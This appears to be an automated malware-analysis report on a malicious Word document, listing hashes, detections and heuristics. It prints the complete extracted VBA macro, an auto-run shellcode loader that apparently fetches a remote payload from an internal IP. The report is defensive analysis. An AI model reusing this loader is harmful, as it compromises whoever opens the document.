Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 73681ce81190f87e…

MALICIOUS

Office (OLE)

39.5 KB Created: 2017-09-22 04:47:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 177a7c37df3fe37ec30328b5a3cd59ff SHA-1: 3994b849ebfcac1f0b67aaef1d26120b205e1c70 SHA-256: 73681ce81190f87ecad86d4dc321d8fb47d2581a13f7e529e4dc17949b696f23
206 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Word document that leverages the CVE-2007-3899 vulnerability to achieve code execution. The VBA macro uses the VirtualAlloc API, indicating it is likely preparing to allocate memory for and execute a payload. The presence of AutoOpen macro suggests it will execute automatically when the document is opened.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim Ujdkkx As Long, Eawddinmr As Variant, Vnntwx As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3858 bytes
SHA-256: 08f045a9bd0fc32b08041210419b31b40f6d7843fe1b7e1ead519eeaa6a02da3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Fkfb As Long, ByVal Dvu As Long, ByVal Qspbqpp As LongPtr, Mwdi As Long, ByVal Ukd As Long, Ufcwwej As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Tipdbgy As Long, ByVal Jxnirawrs As Long, ByVal Yqujt As Long, ByVal Zmjswt As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Awx As LongPtr, ByRef Zkwzhhbv As Any, ByVal Liiswxvkl As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Fkfb As Long, ByVal Dvu As Long, ByVal Qspbqpp As Long, Mwdi As Long, ByVal Ukd As Long, Ufcwwej As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Tipdbgy As Long, ByVal Jxnirawrs As Long, ByVal Yqujt As Long, ByVal Zmjswt As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Awx As Long, ByRef Zkwzhhbv As Any, ByVal Liiswxvkl As Long) As Long
#End If

Sub Auto_Open()
    Dim Ujdkkx As Long, Eawddinmr As Variant, Vnntwx As Long
#If VBA7 Then
    Dim Mgcxtucp As LongPtr, Vpogk As LongPtr
#Else
    Dim Mgcxtucp As Long, Vpogk As Long
#End If
    Eawddinmr = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 251, 32, 0, 0, 232, 224, 0, 0, 0, 47, 50, 98, 120, 113, 54, 77, 106, 95, 101, 104, 71, 52, 107, 114, 109, 84, 52, 86, 89, 116, 72, 103, 121, 97, 89, 73, 86, 99, 76, 55, 102, 86, 111, 84, 101, 97, 117, 73, 57, 51, 84, 119, 97, 56, 71, 113, 57, 113, 52, 117, 54, 55, 115, 79, 102, _
71, 72, 82, 67, 83, 69, 98, 113, 86, 73, 100, 72, 68, 78, 48, 89, 111, 80, 105, 55, 75, 95, 83, 114, 50, 67, 82, 104, 111, 52, 81, 110, 121, 53, 84, 114, 73, 53, 119, 71, 117, 74, 103, 82, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 2, 96, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 83, 83, _
83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 225, 232, 74, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, _
1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 127, 255, 255, 255, 49, 57, 50, 46, 49, 54, 56, 46, 48, 46, 49, 50, 49, 0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Mgcxtucp = VirtualAlloc(0, UBound(Eawddinmr), &H1000, &H40)
    For Vnntwx = LBound(Eawddinmr) To UBound(Eawddinmr)
        Ujdkkx = Eawddinmr(Vnntwx)
        Vpogk = RtlMoveMemory(Mgcxtucp + Vnntwx, Ujdkkx, 1)
    Next Vnntwx
    Vpogk = CreateThread(0, 0, Mgcxtucp, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub